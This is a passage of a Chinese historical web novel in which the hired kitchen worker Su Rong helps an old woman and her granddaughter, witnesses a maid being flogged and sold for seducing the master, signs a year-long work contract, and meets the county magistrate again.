她最近在邓宅吃得好,油水足。不能自己日子好过了,就不管方婆婆祖孙。要带着这对祖孙一起吃香喝辣,才对得起方婆婆祖孙危难中不弃她!
最后,想着方婆婆家那用了三代人的绣钝镰刀,缺口斧子。转去铁匠铺,选购两件成品:镰刀五十文,砍柴斧一百文。
刚到手没捂热的工钱,全花光还动用老本九十文。
不过苏蓉开心。
挣钱就是为了花,花在值得的人身上,更有意义!
何况她根本没指望邓宅给的这点工钱,能发家。
背着沉重的大背篓,苏蓉去城门口赶骡车回村。
斑驳的城墙砖面上,刮着一片白灰,上面贴着新鲜出炉的告示。风一吹,没贴稳的纸角哗啦啦舞动。
她近前瞅一眼,告示上画着模糊笔墨的人头像,告示内容倒是写得清楚,悬赏一百两捉拿杀人犯岷郡王氏。提供线索者,也有奖励。
这时代县令一年俸禄才三百多两银。这一百两对普通人,实在极具诱惑力了。
但是苏蓉清楚知道,这地名是她随口讲的;姓氏是故意选择的大姓。无中生有,官府想抓到真凶,天方夜谭!
反正告示能还她一个清白就行。
相信叶县令也是张布榜文,表明官府态度。重点还是在惩治肃清梅主簿这种多年的宜阳县毒瘤上。
坐上骡车,回头望向渐行渐远、被抛在身后的一带灰蒙蒙城池。苏蓉嘴角上扬,露出丝意味深长的笑意。
到丰定村村口下车,时近午后。
一群婆姨婶子,春耕也下田,闲暇聚在田坎边喝水。聊八卦,顺带探讨今年自留地种什么,间或训斥两声不安生帮忙、只知调皮捣蛋的家中顽童。
从这些七大姑八大姨面前经过,苏蓉感觉自己和自己背后的大背篓,被道道灼热目光,洞穿无数孔!
“这是哪家的丫头媳妇子?好面生,是咱们村里的吗?”
犹豫、猜测,没有第一时间搭讪,苏蓉成功迈开腿,把她们通通甩在身后。
不过眼尖的女人,还是看见她拐进了方婆婆祖孙俩住的茅草屋。
会与方婆婆祖孙俩打交道的人,屈指可数。
顿时,不少人想到了苏蓉头上。
被休、牵扯上官司、最近听说被冤屈的?可谓劲爆八卦啊!一些人牛也顾不上吹了,拾起农具,蹭到另一伙相熟的人堆里,激动述说八卦。
苏蓉压根不理会这些流言蜚语。
敲门无人应声,便在窗台下杂物桶中,摸到一把钥匙,这是方婆婆特意告诉她的位置。打开门放下东西,发现方婆婆祖孙果然出门去了。
春天万物生长,没什么收入来源的一老一少,必须靠春秋两季,挖到尽可能多的野菜,晒干过冬。偶尔采到草药,卖给药铺也算一点进项。
古代没有劳力没有挣钱本事,几乎和等死差不多。
祖孙俩唯一比苏蓉好的地方,大概就是几间草房的宅基地属于自个,有栖身之处。
苏蓉查看屋内,打扫得十分干净,灰土全被扫到门外。翻开米缸子,已经见底,还好她想到买粮过来。直接给钱,方婆婆绝不会收。
苏蓉动手把米倒进米缸,猪肉和面口袋放在上层,然后盖回木盖。其他调料归类,只三块饴糖放在最显眼的桌子上。
这样方婆婆回来,不会第一时间察觉她送了什么,而是会在今后做饭时,一点一滴发现家里多出的东西。
那时不能背来城里还给她,怕放坏不得不吃,她送粮目的便达到了。
至于工具,应该是方婆婆更加无法拒绝的礼物,搁门背后。
刚收拾好,没来得及坐下,屋外传来响动。
往窗外一看,果然是方婆婆祖孙回来了。两人背着大半背篓的野菜枯枝,一脸疲态。发现自家屋门开着,愣了下神。
方小兰首先反应过来。
“是苏姨!一定是苏姨回来了!”
能来看望她们祖孙俩,并且如同家人直接走进她们草屋的,只有苏蓉。
苏蓉从屋里走出来,站在门口,伸开双臂,笑吟吟接住欢呼雀跃扑向她的方小兰。
“苏姨,苏姨!”
方小兰搂紧苏蓉脖子,不停地呼唤。
她灰扑扑的世界里,除了相依为命的奶奶,便只有苏蓉走进来,带来几分色彩。自然而然,苏蓉成为她第二亲近的人。
方婆婆也特别惊喜激动。
将近一个月没见到苏蓉了!她发现苏蓉气色好了不少。黑发整整齐齐在头顶盘成髻,用布帕子包着。凑近前,还闻到苏蓉身上一股淡淡的烟火味。
整个人显得干练利落,充满生机。这是她此前从来没在苏蓉身上看到的。
“妮儿,你回来啦!这些日子,过得还好吗?稳定下来了吗?有没有找到活儿干?”
苏蓉笑盈盈一手抱方小兰,一手搀扶方婆婆进屋。
总是干粗活,她看着瘦弱,其实手上力气不小。以前会被金竹海肆意家暴,不仅怪原身太懦弱,渣男作为武将,力气实在也太大了。
她笑着告诉方婆婆祖孙自己的近况,把桌上摆着的饴糖,拿起来塞给祖孙俩一人一块。
方婆婆嗔怪:“好不容易拿到工钱,存起来以后过日子多好?浪费钱买这种东西……”
转头把方小兰手中那块,也收走了。
“留着过年吃,啊?一块糖能冲化好几碗糖水呢!”
方小兰馋得口水滴答,却懂事地点头,没说什么。
第31章 道不相同
苏蓉微笑。
所以说她送的礼,都给化整为零融入方婆婆家,才是最佳方式。
方婆婆眼里只有苏蓉,完全没注意家里多出什么东西,起身要去米缸里掏剩下的米。
“妮儿,东家给了你多长假期?在方婆婆家吃了饭,再回去!”
苏蓉忙拉住她。
“方婆婆,我只有一天时间来回,坐车都得耽误好久。还必须赶在关城门前进城,就不留您家里吃饭了!看您和小兰没什么事好好的,我心里就放心了。”
“你现在的东家不错,是该好好珍惜这份活儿!”
方婆婆提起陶壶,切了小半块饴糖,给苏蓉泡了碗糖水端给她:“我积攒了些草药,等下次进城卖掉,顺道来看你。你一定要好好干!”
苏蓉把碗端在手里,作势抿一口,实际没沾到糖水味,便转手递给旁边眼巴巴看的方小兰。
她是大人了,哪还会像小孩子馋这种东西?方婆婆笑着看,也没有阻止。
苏蓉疼方小兰,是她乐于见到的。
“等我在城里站稳脚跟,小兰再大点,把她也接到城里找活儿干!”
苏蓉是认真以为,这种给大户人家当临工,比在乡下挖野菜强。至少吃得饱,穿得暖,不用有一顿没一顿忍饥挨饿,随时濒临绝境。
方婆婆祖孙俩眼中,同时燃起亮光。
不管苏蓉许诺能不能实现,这至少带给她们一个希望!
相聚快乐的时光总是短暂的,眼见午时将近,苏蓉借口还要去爹娘坟前看看,告辞离开。
方婆婆要陪她去,苏蓉以一老一少腿脚不好,坚决拒绝。方婆婆无奈,只得听她说下个放闲日,再回来看望她们。
苏蓉接受了方婆婆给的那张鞣制好的兔皮,独自背上空空大背篓,往深山老林子里走。
走不上三五里路,观察四下旷野无人烟,直接撒出一粒豆子召唤出铜甲兵,让其给自己捉野兔野鸡。
一个时辰后,登上回城骡车的苏蓉,背篓里多了两只野鸡、一只野兔。
她尝试着让铜甲兵多捕捉一只小兽,竟然成功了!
欢天喜地的苏蓉,压根没想到若非她命令有误,对铜甲兵的实力认识得非常不够清晰。她要当“打虎英雄”,其实也没丝毫问题的!
赶在酉时关城门前进城,苏蓉直接将野物带到上次卖鸡的饭馆贩卖,顺利入账八百文。
一回生二回熟,掌柜还捋着胡子关心她家,男人腿是不是治好了?有了野物,再送自家店来卖!
苏蓉客套两句,马不停蹄回邓宅。
半途掏二十文钱买几块小点心,分给张厨娘和桂枝。东西不多是她一点心意,但这是人情世故。
虽说只处在厨房这一片狭小天地,同事关系处得好,也轻松不少。
果然桂枝开心,张厨娘也没有因这一天承担过多活儿给她脸色看。还把主子们没吃完焉巴的果子,偷偷给她抓一把,让她带回房间吃。
苏蓉回到自己房间,把背篓放角落,兔子皮压枕下。寻思用这块兔皮,做个手套什么的。
先打算自己冬天戴,转念一想,自己天天洗菜哪来的机会戴手套。而且她作为洗菜娘,戴上兔皮手套岂不被东家蛐蛐?
倒不如送给叶县令。
一来感谢对方救了自己;二来结个善缘,让县令大人别忘了自己。熟悉了她这**民,总能蹭上当官的光。
她努力回忆叶清辞的手。
到底长什么样,手多大?指节多长?做出来务必要合适。
叶县令每天公务繁忙,普通手套肯定影响握笔。市面上少见手套,有也是那种四指合并,大拇指歧出的,很是不便。
她要做,就做那种贴手、五根指头都能露在外面那种,方便县令大人既保暖,又能写字。
原身针线活娴熟,苏蓉有些生疏。反反复复用手在兔皮上比画。怕浪费了兔皮,她决定先拆一件不值钱的旧衣练习。
桂枝洗了头抹了身子进来,见苏蓉还没睡,坐在昏黄的灯光下飞针走线,笑嘻嘻招呼一句。
“苏姐姐,你还没困吗?明天要早起忙活呢!”
桂枝睡上一个调走丫头的床。对方没办法带走的蚊帐、旧衣,一根桃木簪子,归她合理继承。
毕竟是邓宅人,她
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们的财物也属于主家分配。
虽然睡一个屋,苏蓉与桂枝不是很亲近。
两人为人处事态度截然不同,桂枝老爱跟苏蓉八卦邓宅的人和事。艳羡陶姨娘有个儿子,以后终身有靠;石婉一通房,也能穿金戴银。
畅想自己以后若跟了大姐儿出嫁,会怎样?
苏蓉好心劝她两句,摆正心态正视自己身份。反被桂枝呛回来:你这么黑这么干巴,男人自然看不上。我这身板,旁人一看就说能生的!
苏蓉翻着白眼,从此与这丫头只保留一份面子情。此刻见桂枝进来,她立马收拾东西躺下。
“我这就睡。你头发擦干再睡,要不明天起来头疼。”
“我当然知道。”
桂枝拿出干帕子,坐在床沿边,一点点擦湿发。
苏蓉翻身背对邻床,奔波一天实在太累了,很快陷入梦乡。睡得迷迷糊糊不知什么时候,听到有人拍门,张厨娘的大嗓门在外面喊。
“苏丫头,桂枝,你们俩快起来!”
苏蓉睡眼惺忪爬起来开门,发现外面天色仍漆黑,狐疑地问张厨娘:“张婶子,什么事?”
张厨娘胖乎乎的手拍她肩头一下,朝屋里看一眼:“老爷应酬回来醉酒,要喝醒酒汤,吃两个小菜。你帮忙打下手,喊桂枝烧火!”
“好,我们这就来!”
苏蓉二话不说,回屋叫醒桂枝,系上围裙带上布帽,先去厨房帮张厨娘洗洗切切。
能随时随地向张厨娘偷师厨艺,她愿意的。
原身和她都会做饭,但原身做的是穷家饭,她烧的是各种调料堆积的现代菜。
而张厨娘这种,如何运用有限食材调料,做出有钱人喜欢的菜式,才是本事。
张厨娘月钱一两二,还只是因为她是陪房。若外聘,价钱能更高。她学会张厨娘的本事话,以后就能换个东家当厨娘拿高工资了。
苏蓉帮着张厨娘打下手,做出两碟精致小菜,一碗米饭并一碗醒酒汤。熄火时,才看见桂枝姗姗来迟。
其一头瀑布般黑发,用木簪子松松挽起,垂在耳边。脸上犹带迟起的春意慵懒。
第32章 爬床丫头
张厨娘发火。
“我现在还支使不动你了!你当自己是个什么东西,姐儿还是姨娘?没有人家苏丫头一个外聘的洗菜娘勤快!”
桂枝自知理亏,连忙告饶。
“张婶子,我是身上来了,这两天有些不爽利。您和苏姐姐辛苦了,这做好的醒酒汤和饭菜,我给前院送去。”
听她这么说,张厨娘不好再说什么,翻个白眼。
“那就你去送!苏丫头,你把厨房收拾了自个去睡。”
说完,打着呵欠径直离开。临走叮嘱桂枝一句:“路上小心别把汤洒了!出了问题,夫人打死你?”
苏蓉不争这些没用长短。帮桂枝把饭菜及醒酒汤装进食盒,目送桂枝提上出门后,便转头收拾厨房。
好在边做饭时边已清洁得差不多,简单抹两下,刷洗完铁锅就成,回屋继续睡觉。
邓教谕应酬多,偶尔在外喝酒回来,便会这么折腾厨房。有时是身边小厮来取餐,有时是张厨娘去送。
所以苏蓉完全没有多想。只是睡回笼觉时不插门,虚掩给桂枝留门。
卯时,准时起来梳洗,准备开始一天繁忙的工作。瞥眼桂枝的床,纱帐笼着看不清楚,但隐约发现,被褥折叠整齐,似乎无人在?
她略惊愕。
拿着自己的盆子帕子,去厨房打水洗漱,周围转一圈没发现桂枝踪迹。再回到屋里,撩开纱帐一看,当真没人!
再摸床单冷冰冰的,完全没有人睡过的痕迹,苏蓉心里“咯噔”一下,有了不详预感。
她急忙跑去拍张厨娘的房门。
把张厨娘叫起来报告:“张婶子,桂枝……好像昨夜没有睡在屋里?”
她和桂枝一屋,桂枝要出了什么事,她知情不报准受牵连!
“什么昨夜没睡在屋里?”
张厨娘懵逼反问一句。紧接着,她马上反应过来,脸白了一片。
二话不说,抢在苏蓉前面跑进屋,查看桂枝的床铺。看到床上叠得齐整的被褥,抚平没有一丝皱褶的床单,面色难看极了!
“桂枝她……昨夜没有回来过?”
她直勾勾盯着苏蓉眼睛。苏蓉第一次在这位厨娘一团和气的脸上,看到凶狠。
苏蓉犹豫一下,微微点头:“好像是……”
应该是去送醒酒汤及饭菜,便一去不回。呼之欲出的答案,她即便不说出来,张厨娘也心知肚明。
“这小贱皮子,见到她第一眼,我就瞧出她是个不安生的!”
张厨娘蒲扇大的巴掌,狠狠拍打在床头柜上,带着激烈的情绪。她感到无比愤怒。但心里害怕,多过这愤怒。
桂枝在厨房,受她管辖,如果出了什么事,主子第一个问责的就是她!
苏蓉蠕动唇瓣,想了下,什么也没说。
还不知道桂枝究竟出了什么事,妄下结论过早。若当真发生了什么,也不能单怪桂枝。一个奴婢,生死不由己,怎能承担全部责任?
“我去前院看看!”
张厨娘纠结片刻,做出决定:“你先生火烧水,待会各房的人,要来提热水了。”
无论如何,她们不能自乱阵脚。
苏蓉点头,走进厨房开始干活。不过,她刚把火点燃,张厨娘没来得及出门,一声凄厉的惨叫,划破邓宅上空,惊得两人一哆嗦!
隔得远,声音又变了调,没听出是谁在嚎叫。但张厨娘抬起来的脚,瞬间失去踏出门槛的勇气。
两人面面相觑,惊疑不定。
苏蓉尽量冷静地将水烧热。张厨娘心神不宁,拿着菜刀切蔬菜,差点把自己手指头切掉。再不说要去前院打探的话,只是魂不守舍地喃喃。
“不会吧……不会真出什么事吧?”
话音未落,负责给厨房提水劈柴的粗使婆子冲进来。
“张厨娘,夫人让所有下人去前院集合!”
张厨娘和苏蓉对视一眼。一个慢慢放下刀,一个心里叹气,灭掉火。
该来的终究会来。
只希望桂枝别犯傻,真干出什么无法挽救的事。
来邓宅一个月,苏蓉还是第一次看全邓宅所有的下人。
教谕夫妇身边的随从,姐儿
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哥儿身边的丫头小厮,厨房门房干各种杂活的媳妇婆子,还有两名护院,统共二十几号人,集中前院天井。
刘夫人带着大姐儿刘慧坐在台阶上的椅子上,陶姨娘、石通房低头立在她们身侧。
苏蓉进院后偷偷往四下看,透过前面人列队的缝隙,发现一个衣衫凌乱的女人,被帕子堵住嘴,双手反绑,披头散发地跌坐在地。
那茫然空洞的眼神,熟悉的脸,不是桂枝是谁?
旁边张厨娘的胖脸,渗出一粒粒虚汗。
除了邓教谕父子,邓宅其他人全到齐了!
邓琛还小,刘夫**约是不愿让哥儿过早接触后宅的肮脏事。不管心里想什么,明面要做出慈母的样子。
邓教谕多半觉得丢脸,也不想为一个丫头出头,躲着没露面。
而大姐儿邓慧在场,那便是刘夫人真心想借此,教女儿管家了。
其他姨娘通房包括下人,纯纯拉来看杀鸡儆猴。
刘夫人神色格外阴沉,见人来齐,对身边周管事使了个眼色。
周管事会意,上前手指桂枝大声道:“昨夜,咱们邓宅发生了一件极为不好的事!一个贱婢,借送醒酒汤之名,爬上人事不省的老爷的床!”
尽管大家猜到怎么回事,听周管事明白说出来,还是一阵骚动。道道鄙夷、唾弃、莫名的目光投向桂枝。
桂枝浑身发抖,蜷缩成一团,恨不得把头埋进胸前。
周管事等众人平静,谴责的目光把桂枝当众处刑了够,才示意噤声,接着代表夫人训话。
“咱们夫人,不是容不下人的人。石通房不是夫人亲自开脸,献给老爷的?陶姨娘不是由夫人做主,一顶小轿抬过门的?”
苏蓉看见刘夫人挂在嘴角的冷笑,陶姨娘和石通房涨红的脸,心里暗暗摇头。
“但这个**……”
周管事语气凌厉:“不安分守己,处心积虑勾搭老爷,置夫人于何地?老爷一世清誉,也生生被这**毁了!”
“国有国法,家有家规,做错了事,不得不罚!”
第33章 杀鸡儆猴
周管事回身用请示的眼神,得到刘夫人轻轻颔首许可后,转头继续大声宣布。
“所以,今天把你们集中在这里,就是让你们好好看犯错的后果!自己身份卑贱,就别成天做着不切实际的美梦,幻想着往上爬!”
众人屏息凝气,低头垂手听训。一个院子,只听见周管事冷森森的声音回响。
“慧姐儿,你来说说,这种背主、不知廉耻的奴婢,该怎么处理?”
刘夫人果然想给女儿来个现场教学。搂着面色阵阵发白的邓慧,轻言细语问出关键的一句话。
邓慧不敢看桂枝此刻的狼狈,自然更注意不到她眼中流露出的哀求和绝望。想着娘亲平日教诲,踌躇片刻后决然咬牙。
“打三十板子发卖了吧!咱们邓宅,容不下这种败坏门风的奴婢!”
她厌恶这些时刻想抢走她爹的坏女人,让她娘暗自神伤。邓宅有个妖妖调调的陶姨娘,已经够了!
刘夫人欣慰地点头,抚摸女儿的头。
周管事见状立即斥喝下人:“你们没听见大姐儿的话?”
立马上来四个粗使婆子,拿着准备好的棍棒绳索,把桂枝拖翻捆在一条宽板凳上,褪了下身裙子,只穿一条薄薄褻裤,一五一十抡板子打起来!
这不仅是惩罚,更是当众羞辱。
被堵住嘴的桂枝拼命挣扎扭动,哪里抵得过四个粗使婆子的力气?
先还能闷哼两声,打到后来,随着血水慢慢浸透褻裤,她身体完全瘫软下来,死鱼般趴在凳子上。
婆子们也没手软松开她。周管事用冰冷的声音报数,直到打完三十,血水尿水流了一地,刘夫人才挥挥手,让人把不知死活的桂枝拖出去,交给门上候着的牙婆。
“张如英!”
刘夫人接下来叫的是张厨娘的名字,冷冷瞅着她:“你约束手下无力,罚你两个月的月钱,可心服?”
张厨娘诚惶诚恐,跪下磕头:“夫人,奴婢心服口服!是奴婢没有管好手底下人,该罚!”
刘夫人哼一声,念在是自己信任的陪房,没再说下文。
一声“散了吧”,苏蓉手脚冰凉,恍惚随人流往外走。亲眼看着桂枝差点被活活打死、被发卖,这冲击力对她着实不小!
她此刻深深体会到,一旦失去自由身,真是生死半点不由己!不管错在谁方,为人奴婢者,承担了所有。
幸好她只是个临时佣工,邓宅对她没有生杀大权。
神不守舍险些走岔路,被张厨娘追上来拉了一把。
见她模样,张厨娘知她第一次看见这种情形,吓着了。原想安慰一下,转念一想,自己被罚两个月月钱更惨痛!
虽说这苏丫头是个懂事的,但既然在自己手下,自己就要好好教导。不然,以后不小心又变成桂枝第二,她哪来那么多月钱罚?
于是,她冷着脸带苏蓉回厨房。一边指挥人干活,一边训诫。
“苏丫头,今天的事你看清了吧?牢牢记在心里,别像那个桂枝一样犯同样的错!”
苏蓉心思,她多少猜得出两分。
“别以为你是外面雇来的临时洗菜娘,邓宅管不着你?倘若犯了错,夫人一样将你送官。落到官府手里,下场未必比桂枝好!”
“到时你就算不是奴身,也会被官卖成奴身!”
苏蓉想到狱中种种经历,面色发白。
她相信张厨娘的话!
若非叶县令是这时代难得一见的清官,她在牢里不就险遭女牢头毒手吗?
县衙狗官们与狱卒沆瀣一气,残害无辜妇女,逼良为娼。将有错的下人发卖,对他们而言更不是个事。
苏蓉紧紧捏住衣角里偷镶的豆子,这是她在这个时代活下去的唯一底气。万不得已,只能走上亡命天涯的路。
张厨娘埋头分割砧板上的一块鸡肉,没看见苏蓉眼中掠过冷然,继续撇着嘴说。
“这个桂枝,以前说她不以为然,现在好了吧,她这辈子算完了!爬床丫头能有什么好名声?正经主家都不会再买她。”
“她下场只有一个,城里那些最低等的窑子。”
摇摇头,张厨娘放下刀,把切好的肉装盘,瞥低头烧火的苏蓉一眼。
“好好做事,苏丫头。你千万别学她一样……咱们这厨房,算是宅邸里最清静干净的一块了!”
否则,她当初不会主动请缨管厨房。这么多年,窝在这里没动过。
管事娘子那位置,是那么好做的吗?
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周姐姐那双手,染上的色怕早就洗不干净了!
听出张厨娘语重心长,苏蓉抬头,对其表示感激。
“我明白,谢谢张婶子提点!”
“你也别觉得桂枝无辜。”
张厨娘笑笑,淡淡说出最后重点:“她和我说她身上来事儿了,却还能当晚去爬老爷的床……”
“有些人啊,就是心比天高,命比纸薄。夫人处置她,一点不冤!”
苏蓉抿唇。甩头把桂枝带来的阴影抛在脑后,专心干自己的本职工作。无论这世界怎样,生活得继续。
隔了几天,邓宅又买个小丫头进府。
接受上回教训,这回小丫头满头黄毛,一脸稚气。跟她一对比,张厨娘还夸邓宅的米粮养人,把苏蓉养得越来越标志了。
虽然仍旧黑,走近看看,至少气色红润,两眼晶亮有神,比刚来那会的难民形象好多了。
而且这肤色,是以前经常下地干活晒的。以后常年窝在厨房,不缺油水,少见阳光,自然会慢慢养回来。
新来的丫头取名柳枝,比桂枝更机灵,嘴巴更甜。
抢着应承张厨娘呼唤,主动找活儿干,分外活跃。直到看见苏蓉帮张厨娘记账,她大字不识一个,表情才有些蔫巴了。
苏蓉怀疑自己是不是个难相处的人。
为什么对这些新来的人,心越来越冷,越来越硬呢?
“苏姐姐,你好厉害,会认字,还会记账!得空能不能教教我呢?”
听着柳枝那嗲嗲的夹子音,苏蓉笔尖一抖,一团墨掉在账面上。
坐在旁边的张厨娘,瞅瞅污花的账本,瞪眼苏蓉,又拿厉眼去看柳枝。
“没事干这么闲吗?去把那一筐青菜洗了!一片叶子上带点泥,今晚别想吃饭!”
柳枝吐吐舌头,自以为俏皮,缩着脑袋溜走了。
这丫头最大的优点,是性格好。无论张厨娘如何发脾气,她总是笑嘻嘻应对。
苏蓉不清楚她这是天生的还是装的。
若是后者,太可怕了!初中生的年纪……
低头继续听张厨娘报账,重写账本。这时候,周管事从外面进来。梳得一丝不苟的发髻,插了根鎏金银簪,在光线下显得格外夺目。
第34章 尊重他人命运
苏蓉不会再将周管事看成普通的管事娘子。也不会觉得自己身为临时佣工,有种天然的优越感。
她想要邓宅的庇护。同样的,身在人屋檐下,要尽好自己的本分。
她放下笔站起来,对着周管事浅施一礼:“周管事!”
“在做账本呢?”
周管事对苏蓉印象一直不错。
懂事,有眉眼高低,不争不抢地老老实实干活。就算帮张厨娘做账,为自己解决一个**烦,也从不居功自傲,嫌工钱太低。
这样的丫头,可惜不是邓宅家生子。不然,太适合跟着大姐儿了。
周管事笑盈盈招呼苏蓉:“来,坐下。我专程来找你,有话同你说的!”
苏蓉听话坐下。
周管事拿出一份预先拟好的契约。
“苏丫头,你来咱们邓宅,有一个多月了吧?照老规矩,带你的张厨娘没有说你什么不好,这份佣工契,咱们便可以往长签了。”
苏蓉稍稍抬起眼皮,看向那份递来的契约。
以前她盼着能在邓宅当长工,让生活先稳定下来。但出了桂枝一事,心里始终有疑虑。这样为人下人的处境,未必比独居废屋处境好。
转念一想,她又不像桂枝有远大理想。只求暂时有个安稳落脚点,邓宅应该对她没什么威胁性吧?
“咱们邓宅请佣工,一般是一年一签,三年一签。”
周管事没看出她在想什么。递出契约后道:“你初来乍到,不好给你申请三年契,就先签一年吧。一年后,咱们再说。”
顿了顿笑。
“我和张厨娘在夫人面前,夸你干活勤快,做事稳妥。夫人一高兴,把你月钱涨到四百文。”
苏蓉听了,立即站起来向两人致谢。
张厨娘按着她坐下,随手端出一小碟南瓜子,摆在周管事面前让她嗑。
“你帮了我大忙,让周姐姐少为**心,这是你应得的。丫头,以后可别说张婶子亏待你了啊,哈哈!”
张厨娘爽朗地笑。
周管事不紧不慢嗑瓜子。
观两人神情举止亲密,她们关系挺好。所以才会因苏蓉帮张厨娘做账,周管事对她另眼相看。
“你识字,就不用找牙婆来多此一举中介了。”
周管事道:“看看这份契约没问题,便直接签了吧。下个月,你到手工钱就有四百文。”
苏蓉不再犹豫,看过契约书没问题,签字按手印。
周管事等她签完,收起契约书,鼓励一句:“好好跟着你张婶子干!学些本事,以后嫁人也有份底气在。”
苏蓉户籍是县城女户,父母双亡。叶县令特别关照,梅主簿没敢在上面注明详情被休之类。
所以尽管苏蓉的事传遍整个宜阳县,除非特意去查,或者认识苏蓉的人把她身份当场揭穿。邓宅人不会想到,知名人物缩在自家厨房当洗菜娘!
周管事走后,柳枝羡慕地凑过来。
“苏姐姐,你不是家生子,主子和周管事这么器重你,真好!”
一般来说,外人很难得到主子信任。苏蓉还能涨工钱,太难得了。
张厨娘不惯着她这阴阳人的臭毛病,眼睛瞪过去。
“青菜洗好了?米淘没淘?待会要做晚饭了,你动作还不快点!”
柳枝讪讪一笑,继续忙碌去了。
张厨娘冷眼瞧着她背影,轻声对苏蓉道:“看吧,又来个不安生的!幸好还小,否则再大点,跳腾得我在厨房都没位置了?”
苏蓉付之一笑。
她自认是外人,没有议论邓宅是非的资格和兴趣。
百样米养百样人,当雇工下人,其实和混职场的牛马差不多,要面对各种人。只是这里唯一不好处,风险太高容易丢命。
日子有条不紊地过,淡得如同后院那口老井水。
柳枝很活泼,每天闲下来的功夫,就去后院找丫头婆子们说话,用张厨娘分给自己的吃食与她们拉近关系。
苏蓉觉得这小丫头简直成精了!
大概不甘于一直在后厨做粗使丫头,所以想方设法为自己活动,在主子跟前露脸?
但她不知道桂枝的下场?
张厨娘挂在嘴边训她。可能这小丫头觉得和自己不相干,她又没有爬床的心。
但是,主子要抓你的错治你,岂止一个爬床的罪名!
苏蓉摇头。
劝了不听,明哲保身吧。瞅柳枝不在的空,她花了整整一个月的时间,终于缝好一双露指有精
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巧设计的兔皮手套。
等放闲日拿去送给叶县令,再回村看看方婆婆祖孙如何?
清点自己小金库,不到二十两。
听说城里十几两可以买到一处小房子。苏蓉想,她在邓宅熬一年,再存点钱,就能买房将方婆婆祖孙接进城了。
三个人一起做缝补浆洗的活,加上她暗中让铜甲兵狩猎,慢慢日子能过下去。
数好钱,没来得及放回旧衣包里,门声一响,柳枝回来了。见到苏蓉手中一把银钱,眼睛一亮。
却见苏蓉立马收起不给她看,目光闪了闪,没说什么。
装成什么也不知道的样子进屋,坐在两任丫头曾经睡过的床上,手撑床沿,晃荡着两条小腿嘻嘻笑。
“苏姐姐,我发现你性格好静那,从来不去外面走动。一直呆在这里,不嫌闷吗?”
“人多是非多。”
苏蓉好心提醒她:“柳枝,你最好别老往外跑。张婶子不高兴,你也容易惹上是非。”
“我知道苏姐姐为我好。”
柳枝眨眨眼睛笑。
但她小小年纪,已被转卖两次了。都因为没眼色被主子嫌笨打发掉。若是在这家仍然当个默默无闻的小丫头,保不定哪天又会被转手。
随着她年龄增大,人长开,可能会被送进更不堪的地方。
她怎能继续这么被动下去?
这同屋的苏姐姐看似不争不抢,实际因为她是佣工,自由身!换成她跟自己处境一样看看?
苏蓉看出柳枝嘴里答应,行动没听进她的话。无奈地闭嘴,自顾自洗漱上床睡觉。
每天干活累**,还这么多小心思烦不烦?尊重她人命运吧!
第二天午后,张厨娘把两个丫头叫上,随自己去角门搬货。邓宅的下属庄子送新鲜蔬菜来了。
只是产出跟不上供应,平常周管事还要去集市采买些粮食补充。
周管事拿着账本清点一筐筐蔬菜。张厨娘走来走去,吆喝大家手脚麻利点,别磕破坏鸡蛋。
除了苏蓉、柳枝在出力,闲着的小厮、婆子也被调过来帮忙。
百忙中,苏蓉眼角余光发现一辆马车停在门口。下意识望去,只见一条熟悉身影,正从车上下来。
第35章 叶县令来邓宅了
她惊呆了。
叶清辞!
怎么会来邓宅?还是一身便装出现在邓宅后角门?
转念一想,邓教谕是学官,叶清辞作为县令来自己属下宅邸做客,好像很合理?
走神之际,脚步慢两分。与她合作抬筐的柳枝,惯性前面一扯,箩筐倾斜,里面土豆滚一地。
柳枝“哎呀”一声,叫得清脆。
张厨娘没好气过来:“你们俩个咋回事,一筐土豆也抬不动?”
眼睛瞪着柳枝。
柳枝委屈地瘪嘴。苏蓉连忙认错:“对不起张婶子,是我不小心……”
张厨娘肉乎乎的巴掌落在柳枝头上,眼里流露出浓浓嫌弃:“还愣着干什么?捡土豆啊!做错了事,还让你苏姐姐给你承担……”
柳枝眼眶红红看向苏蓉。
苏蓉……
她真不是故意的!
但张厨娘已走远,这回只好不道德地害柳枝帮她背锅。
“柳枝,抱歉,张婶子误会了。回头我给把分的蜜饯全部给你!”
蜜饯是青梅做的。好的挑出来给主子,破损的一般是厨房留下了。
张厨娘越来越信赖苏蓉,有这些好处,少不了给苏蓉一份,柳枝只能拿小份。闻言,不禁开心起来。
“苏姐姐,这可是你说的!”
苏蓉微笑。
到底还是个孩子。再有小心思,也馋嘴。
叶清辞跨进邓宅门槛。没走两步,发现几颗圆滚滚的土豆滚到脚边。
他目光扫视,只见邓宅几个下人忙碌从牛车上卸货。两个着青布衣的丫头,狼狈蹲在地上,收拾滚落满地的土豆。其中一位,背影莫名熟悉。
心中一动,他弯腰捡起几颗土豆,走到那丫头跟前。
跟随在后的傅振一脸懵。犹豫一下,也跟着捡几颗就近的土豆,送去箩筐中。
眼中暂时只有土豆的苏蓉,忽然发现视野内出现一角锦袍,一双蹬乌皮靴的脚,愣住。往上看去,一只大手托着土豆送到她面前。
叶清辞的眼睛,仿佛浸在晨雾中的宝石,眼波流转间盛满柔光。但细细看过去,又觉得像是腊月凝结的霜,带着冰凉寒芒。
凝视人时,洞穿秋毫,似欲将人心底最深处的秘密,挖掘出来。
“苏氏,你怎会在这里?”
苏蓉有种不做贼也心虚的感觉,不自然闪避叶清辞疑问的目光,接过他手里的土豆往箩筐里放。
“大、大人,我现在是邓宅雇佣的洗菜娘,在这里干活以求有个落脚地……”
她忽然觉得自己表现太不自然了,马上抬头反问,露出好奇的表情:“大人,您怎么也来邓宅了呢?”
旁边傅振把土豆扔进箩筐,赏她一个白眼。
刁民!
大人行程,也敢打探质疑?
叶清辞没往深处想。只以为眼前熟悉的百姓,经自己洗冤拯救,终于过上了安稳的新生活,感到特别欣慰。
拍拍手上泥土勉励道:“不错!以后你好好干,清清白白做人,别再惹上官司了。”
苏蓉目送他背影,一阵强烈无语。
说得她以前好像没有清白做人,还故意惹上官司似的!
简直不会说话,给邓宅人听见会怎么想她?
想到邓宅人,心里一突觉得糟糕!视线一转,果然旁边柳枝瞪大眼,正傻呵呵看她。周管事、张厨娘等人,全部围了过来。
“苏丫头,你认识方才那位客人?”
周管事眼神含有警惕。
老爷夫人好不容易请县令大人登门做客,不止老爷想与县令大人拉近关系,夫人还有自己私下的考量。
为避免引起不必要瞩目,县令大人特地换便衣,从后门进入邓宅。苏蓉一个洗菜娘,怎会和县令大人相识?
一瞬间周管事阴谋论了,觉得苏蓉是不是故意打翻土豆筐,引发县令大人注意的?
若非以往苏蓉表现尚可,她现在多半要翻脸了。
